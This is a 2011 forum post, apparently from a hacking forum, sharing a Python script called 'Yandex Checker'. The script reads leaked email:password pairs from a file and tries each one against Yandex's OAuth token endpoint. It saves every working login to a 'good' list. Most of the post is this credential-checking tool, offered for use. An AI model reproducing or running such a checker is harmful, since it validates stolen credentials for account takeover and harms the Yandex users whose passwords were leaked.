[Python] Yandex Checker

Discussion in 'PHP' started by MaxFast, 31 Oct 2011.

  1. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    569
    Likes Received:
    146
    Reputations:
    94
    Code:
    # BigHobbit, 2011
    #!/usr/bin/env/
    #!-*- uncoding=utf-8 -*-
    import urllib, re
    accounts = open('C:\\accs.txt', 'r').readlines()
    for line in accounts:
        login = re.findall(r'(.*)@', line)
        passwd = re.findall(r':(.*)', line)
        print str(login[0]),str(passwd[0]),'\n'
        values = {'grant_type' : 'password', 'client_id' : 'YOUR_CLIENT_ID', 'username' : str(login[0]), 'password' : str(passwd[0])}
        post_data = urllib.urlencode(values)
        response = urllib.urlopen('https://oauth.yandex.ru/token', data=post_data).read()
        token = re.findall(r'"access_token": "(.*?)"', response)
        if token:
            file_to_write = open('C:\\yandex_good.txt', 'a')
            file_to_write.write(str(login[0])+ '@yandex.ru:' + str(passwd[0]) + '\n')
            file_to_write.close()
            print '[\'GOOD\']\n'
        else:
            print 'Try...'
    (c) BigHobbit
     
    1 person likes this.